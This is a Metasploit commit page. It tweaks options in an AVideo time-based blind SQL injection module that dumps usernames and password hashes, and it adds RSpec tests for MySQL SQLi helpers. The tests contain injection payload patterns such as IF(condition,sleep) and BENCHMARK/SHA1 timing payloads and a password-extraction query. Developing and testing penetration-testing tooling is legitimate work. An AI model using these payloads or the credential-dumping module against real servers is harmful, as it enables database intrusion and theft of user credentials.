Skip to content

Commit 524d19f

Browse files
committed
Fix: Address PR review feedback
Module changes (cgranleese-r7): - Remove VERBOSE from DefaultOptions - Make COUNT required with default 0 - Simplify COUNT usage since it's now always present Specs (bwatters-r7): - Expand mysqli_common_spec.rb with tests for version, current_database, current_user, enum_database_names, enum_table_names, enum_table_columns, sleep_call, hex_encode_strings, hex/base64 encoders, time_blind_payload, and blind_detect_length binary search - Expand mysqli_time_based_spec.rb with tests for IF/sleep payload generation, SqliDelay usage, test_vulnerable, and Common inheritance - Add mysqli_benchmark_based_blind_spec.rb with tests for BENCHMARK multiplication payload, calibrated iterations, SHA1 seed randomization, test_vulnerable, and calibrate
1 parent f27318b commit 524d19f

4 files changed

Lines changed: 236 additions & 3 deletions

File tree

modules/auxiliary/gather/avideo_catname_sqli.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def initialize(info = {})
4242
['GHSA', 'pv87-r9qf-x56p', 'WWBN/AVideo']
4343
],
4444
'DisclosureDate' => '2026-03-05',
45-
'DefaultOptions' => { 'SqliDelay' => 1, 'VERBOSE' => true },
45+
'DefaultOptions' => { 'SqliDelay' => 1 },
4646
'Notes' => {
4747
'Stability' => [CRASH_SAFE],
4848
'SideEffects' => [IOC_IN_LOGS],
@@ -53,7 +53,7 @@ def initialize(info = {})
5353

5454
register_options([
5555
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
56-
OptInt.new('COUNT', [false, 'Number of users to dump (default: all)', 0])
56+
OptInt.new('COUNT', [true, 'Number of users to dump (default: all)', 0])
5757
])
5858
end
5959

@@ -80,7 +80,7 @@ def run
8080
setup_sqli
8181

8282
columns = %w[user password]
83-
count = datastore['COUNT'] > 0 ? datastore['COUNT'] : 0
83+
count = datastore['COUNT']
8484
print_status('Dumping user credentials from the users table...')
8585
print_warning('Time-based blind extraction is slow (~4s per character). Be patient.')
8686
data = @setup_sqli.dump_table_fields('users', columns, '', count)
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
RSpec.describe Msf::Exploit::SQLi::MySQLi::BenchmarkBasedBlind do
2+
let(:datastore) { { 'SqliDelay' => 1.0 } }
3+
4+
let(:query_proc) do
5+
proc do |payload|
6+
if (match = payload.match(/BENCHMARK\(\d+\*\((.+?)\),SHA1/))
7+
condition = match[1]
8+
# True conditions (>0) cause delay, false conditions (<0) don't
9+
Timecop.travel(Time.now + 1.5) if condition.include?('>0')
10+
end
11+
end
12+
end
13+
14+
let(:sqli_obj) do
15+
obj = described_class.new(datastore, {}, {}, &query_proc)
16+
obj.instance_variable_set(:@benchmark_iterations, 1_000_000)
17+
allow(obj).to receive(:vprint_status)
18+
obj
19+
end
20+
21+
describe '#time_blind_payload' do
22+
it 'generates BENCHMARK(N*(condition), SHA1(hex)) format' do
23+
payload = sqli_obj.time_blind_payload('(SELECT 1)=1')
24+
expect(payload).to match(/^BENCHMARK\(\d+\*\(\(SELECT 1\)=1\),SHA1\(0x[a-f0-9]+\)\)$/)
25+
end
26+
27+
it 'uses calibrated iteration count' do
28+
sqli_obj.instance_variable_set(:@benchmark_iterations, 5_000_000)
29+
expect(sqli_obj.time_blind_payload('1=1')).to start_with('BENCHMARK(5000000*(1=1)')
30+
end
31+
32+
it 'randomizes SHA1 seed per call' do
33+
seed1 = sqli_obj.time_blind_payload('1=1')[/SHA1\(0x([a-f0-9]+)\)/, 1]
34+
seed2 = sqli_obj.time_blind_payload('1=1')[/SHA1\(0x([a-f0-9]+)\)/, 1]
35+
expect(seed1).not_to eq(seed2)
36+
end
37+
end
38+
39+
describe '#test_vulnerable' do
40+
it 'confirms injection when true delays and false does not' do
41+
expect(sqli_obj.test_vulnerable).to be true
42+
end
43+
end
44+
45+
describe '#calibrate' do
46+
let(:uncalibrated_obj) do
47+
obj = described_class.new(datastore, {}, {}, &query_proc)
48+
allow(obj).to receive(:vprint_status)
49+
obj
50+
end
51+
52+
it 'sets positive iteration count from probe timing' do
53+
uncalibrated_obj.send(:calibrate)
54+
iterations = uncalibrated_obj.instance_variable_get(:@benchmark_iterations)
55+
expect(iterations).to be_a(Integer)
56+
expect(iterations).to be_positive
57+
end
58+
end
59+
60+
describe 'Common inheritance' do
61+
%i[version current_database current_user enum_table_names dump_table_fields].each do |method|
62+
it "responds to ##{method}" do
63+
expect(sqli_obj).to respond_to(method)
64+
end
65+
end
66+
end
67+
end
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,127 @@
11
RSpec.describe Msf::Exploit::SQLi::MySQLi::Common do
22
it_should_behave_like 'Msf::Exploit::SQLi::Common', described_class
3+
4+
let(:datastore) { { 'SqliDelay' => 1 } }
5+
6+
let(:query_proc) do
7+
proc { |payload| payload[/'(.+?)'/, 1] || '' }
8+
end
9+
10+
let(:sqli_obj) do
11+
obj = described_class.new(datastore, {}, {}, &query_proc)
12+
allow(obj).to receive(:vprint_status)
13+
obj
14+
end
15+
16+
describe 'function helpers' do
17+
it '#version queries version()' do
18+
allow(sqli_obj).to receive(:run_sql).with(/version\(\)/).and_return('8.0.32')
19+
expect(sqli_obj.version).to eq('8.0.32')
20+
end
21+
22+
it '#current_database queries database()' do
23+
allow(sqli_obj).to receive(:run_sql).with(/database\(\)/).and_return('avideo')
24+
expect(sqli_obj.current_database).to eq('avideo')
25+
end
26+
27+
it '#current_user queries user()' do
28+
allow(sqli_obj).to receive(:run_sql).with(/user\(\)/).and_return('root@localhost')
29+
expect(sqli_obj.current_user).to eq('root@localhost')
30+
end
31+
end
32+
33+
describe 'enumeration' do
34+
it '#enum_database_names queries information_schema.schemata' do
35+
allow(sqli_obj).to receive(:run_sql).and_return('information_schema,avideo,mysql')
36+
expect(sqli_obj.enum_database_names).to be_an(Array)
37+
end
38+
39+
it '#enum_table_names queries information_schema.tables' do
40+
allow(sqli_obj).to receive(:run_sql).with(/information_schema\.tables/).and_return('users,videos')
41+
expect(sqli_obj.enum_table_names).to be_an(Array)
42+
end
43+
44+
context '#enum_table_columns' do
45+
it 'queries with table name' do
46+
allow(sqli_obj).to receive(:run_sql).with(/table_name='users'/).and_return('id,username,password')
47+
expect(sqli_obj.enum_table_columns('users')).to be_an(Array)
48+
end
49+
50+
it 'splits database.table format' do
51+
allow(sqli_obj).to receive(:run_sql).with(/table_name='users'.*table_schema/).and_return('id,username')
52+
expect(sqli_obj.enum_table_columns('avideo.users')).to be_an(Array)
53+
end
54+
end
55+
end
56+
57+
describe '#sleep_call' do
58+
it 'returns sleep with SqliDelay value' do
59+
expect(sqli_obj.sleep_call).to eq('sleep(1)')
60+
end
61+
end
62+
63+
describe '#time_blind_payload' do
64+
it 'wraps condition in IF(condition, sleep, 0)' do
65+
expect(sqli_obj.send(:time_blind_payload, '1=1')).to eq('if(1=1,sleep(1),0)')
66+
end
67+
end
68+
69+
describe '#hex_encode_strings' do
70+
it 'converts quoted strings to hex' do
71+
result = sqli_obj.send(:hex_encode_strings, "select 'admin'")
72+
expect(result).to match(/0x/)
73+
expect(result).not_to include("'admin'")
74+
end
75+
76+
it 'replaces empty strings with repeat()' do
77+
expect(sqli_obj.send(:hex_encode_strings, "select ''")).to match(/repeat\(0x/)
78+
end
79+
end
80+
81+
describe 'encoders' do
82+
context 'hex' do
83+
let(:sqli_obj) do
84+
obj = described_class.new(datastore, {}, {}, { encoder: :hex }, &query_proc)
85+
allow(obj).to receive(:vprint_status)
86+
obj
87+
end
88+
89+
it 'sets up hex encode/decode' do
90+
encoder = sqli_obj.instance_variable_get(:@encoder)
91+
expect(encoder[:encode]).to include('hex(')
92+
expect(encoder[:decode]).to be_a(Proc)
93+
end
94+
end
95+
96+
context 'base64' do
97+
let(:sqli_obj) do
98+
obj = described_class.new(datastore, {}, {}, { encoder: :base64 }, &query_proc)
99+
allow(obj).to receive(:vprint_status)
100+
obj
101+
end
102+
103+
it 'sets up base64 encode/decode' do
104+
encoder = sqli_obj.instance_variable_get(:@encoder)
105+
expect(encoder[:encode]).to include('to_base64(')
106+
expect(encoder[:decode]).to be_a(Proc)
107+
end
108+
end
109+
end
110+
111+
describe '#blind_detect_length' do
112+
let(:simulated_length) { 5 }
113+
114+
let(:query_proc) do
115+
proc do |payload|
116+
if (match = payload.match(/length.*>(\d+)/)) && match[1].to_i < simulated_length
117+
Timecop.travel(Time.now + 1.5)
118+
end
119+
end
120+
end
121+
122+
it 'finds the correct length via binary search' do
123+
length = sqli_obj.send(:blind_detect_length, 'select password from users limit 0,1', true)
124+
expect(length).to eq(simulated_length)
125+
end
126+
end
3127
end
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,45 @@
11
RSpec.describe Msf::Exploit::SQLi::MySQLi::TimeBasedBlind do
22
it_should_behave_like 'TimeBasedBlind', described_class
3+
4+
let(:datastore) { { 'SqliDelay' => 1.0 } }
5+
6+
let(:query_proc) do
7+
proc do |payload|
8+
if (match = payload.match(/sleep\((\d+\.?\d*)\)/))
9+
Timecop.travel(Time.now + match[1].to_f)
10+
end
11+
end
12+
end
13+
14+
let(:sqli_obj) do
15+
obj = described_class.new(datastore, {}, {}, &query_proc)
16+
allow(obj).to receive(:vprint_status)
17+
obj
18+
end
19+
20+
describe '#time_blind_payload' do
21+
it 'wraps condition in IF(condition, sleep, 0)' do
22+
expect(sqli_obj.send(:time_blind_payload, '1=1')).to eq('if(1=1,sleep(1.0),0)')
23+
end
24+
25+
it 'respects custom SqliDelay' do
26+
obj = described_class.new({ 'SqliDelay' => 3.0 }, {}, {}, &query_proc)
27+
allow(obj).to receive(:vprint_status)
28+
expect(obj.send(:time_blind_payload, '1=1')).to eq('if(1=1,sleep(3.0),0)')
29+
end
30+
end
31+
32+
describe '#test_vulnerable' do
33+
it 'confirms injection when true delays and false does not' do
34+
expect(sqli_obj.test_vulnerable).to be true
35+
end
36+
end
37+
38+
describe 'Common inheritance' do
39+
%i[version current_database current_user enum_table_names dump_table_fields].each do |method|
40+
it "responds to ##{method}" do
41+
expect(sqli_obj).to respond_to(method)
42+
end
43+
end
44+
end
345
end

0 commit comments

Comments
 (0)